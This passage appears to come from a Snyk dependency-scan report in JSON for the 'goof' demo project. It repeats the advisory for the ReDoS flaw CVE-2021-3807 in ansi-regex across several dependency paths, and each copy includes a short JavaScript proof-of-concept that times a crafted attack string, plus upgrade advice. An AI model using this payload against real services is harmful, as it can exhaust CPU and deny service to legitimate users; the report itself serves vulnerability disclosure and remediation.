Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `ansi-regex` to version 6.0.1, 5.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n", + "disclosureTime": "2021-09-09T14:27:43Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "6.0.1", + "5.0.1" + ], + "id": "SNYK-JS-ANSIREGEX-1583908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2021-3807" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-03-15T13:49:53.043116Z", + "moduleName": "ansi-regex", + "packageManager": "npm", + "packageName": "ansi-regex", + "patches": [], + "proprietary": false, + "publicationTime": "2021-09-12T12:52:37Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9" + }, + { + "title": "GitHub PR", + "url": "https://github.com/chalk/ansi-regex/pull/37" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=6.0.0 <6.0.1", + ">2.1.1 <5.0.1" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "yargs@11.1.0", + "cliui@4.1.0", + "strip-ansi@4.0.0", + "ansi-regex@3.0.0" + ], + "upgradePath": [ + false, + "tap@15.0.0", + "nyc@15.1.0", + "yargs@15.0.2", + "cliui@6.0.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ansi-regex", + "version": "3.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-09-09T14:28:31.617043Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n### PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `ansi-regex` to version 6.0.1, 5.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n", + "disclosureTime": "2021-09-09T14:27:43Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "6.0.1", + "5.0.1" + ], + "id": "SNYK-JS-ANSIREGEX-1583908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2021-3807" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-03-15T13:49:53.043116Z", + "moduleName": "ansi-regex", + "packageManager": "npm", + "packageName": "ansi-regex", + "patches": [], + "proprietary": false, + "publicationTime": "2021-09-12T12:52:37Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9" + }, + { + "title": "GitHub PR", + "url": "https://github.com/chalk/ansi-regex/pull/37" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=6.0.0 <6.0.1", + ">2.1.1 <5.0.1" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "yargs@11.1.0", + "cliui@4.1.0", + "string-width@2.1.1", + "strip-ansi@4.0.0", + "ansi-regex@3.0.0" + ], + "upgradePath": [ + false, + "tap@15.0.0", + "nyc@15.1.0", + "yargs@15.0.2", + "cliui@6.0.0", + "string-width@4.2.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ansi-regex", + "version": "3.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-09-09T14:28:31.617043Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n### PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `ansi-regex` to version 6.0.1, 5.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n", + "disclosureTime": "2021-09-09T14:27:43Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "6.0.1", + "5.0.1" + ], + "id": "SNYK-JS-ANSIREGEX-1583908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2021-3807" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-03-15T13:49:53.043116Z", + "moduleName": "ansi-regex", + "packageManager": "npm", + "packageName": "ansi-regex", + "patches": [], + "proprietary": false, + "publicationTime": "2021-09-12T12:52:37Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9" + }, + { + "title": "GitHub PR", + "url": "https://github.com/chalk/ansi-regex/pull/37" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=6.0.0 <6.0.1", + ">2.1.1 <5.0.1" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "yargs@15.4.1", + "string-width@4.2.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.0" + ], + "upgradePath": [ + false, + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "yargs@15.4.1", + "string-width@4.2.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ansi-regex", + "version": "5.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-09-09T14:28:31.617043Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n### PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `ansi-regex` to version 6.0.1, 5.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n", + "disclosureTime": "2021-09-09T14:27:43Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "6.0.1", + "5.0.1" + ], + "id": "SNYK-JS-ANSIREGEX-1583908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2021-3807" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-03-15T13:49:53.043116Z", + "moduleName": "ansi-regex", + "packageManager": "npm", + "packageName": "ansi-regex", + "patches": [], + "proprietary": false, + "publicationTime": "2021-09-12T12:52:37Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9" + }, + { + "title": "GitHub PR", + "url": "https://github.com/chalk/ansi-regex/pull/37" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=6.0.0 <6.0.1", + ">2.1.1 <5.0.1" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "yargs@15.4.1", + "cliui@6.0.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.0" + ], + "upgradePath": [ + false, + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "yargs@15.4.1", + "cliui@6.0.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ansi-regex", + "version": "5.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-09-09T14:28:31.617043Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n### PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `ansi-regex` to version 6.0.1, 5.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n", + "disclosureTime": "2021-09-09T14:27:43Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "6.0.1", + "5.0.1" + ], + "id": "SNYK-JS-ANSIREGEX-1583908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2021-3807" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-03-15T13:49:53.043116Z", + "moduleName": "ansi-regex", + "packageManager": "npm", + "packageName": "ansi-regex", + "patches": [], + "proprietary": false, + "publicationTime": "2021-09-12T12:52:37Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9" + }, + { + "title": "GitHub PR", + "url": "https://github.com/chalk/ansi-regex/pull/37" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=6.0.0 <6.0.1", + ">2.1.1 <5.0.1" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "yargs@15.4.1", + "cliui@6.0.0", + "string-width@4.2.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.0" + ], + "upgradePath": [ + false, + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "yargs@15.4.1", + "cliui@6.0.0", + "string-width@4.2.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ansi-regex", + "version": "5.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-09-09T14:28:31.617043Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n### PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## 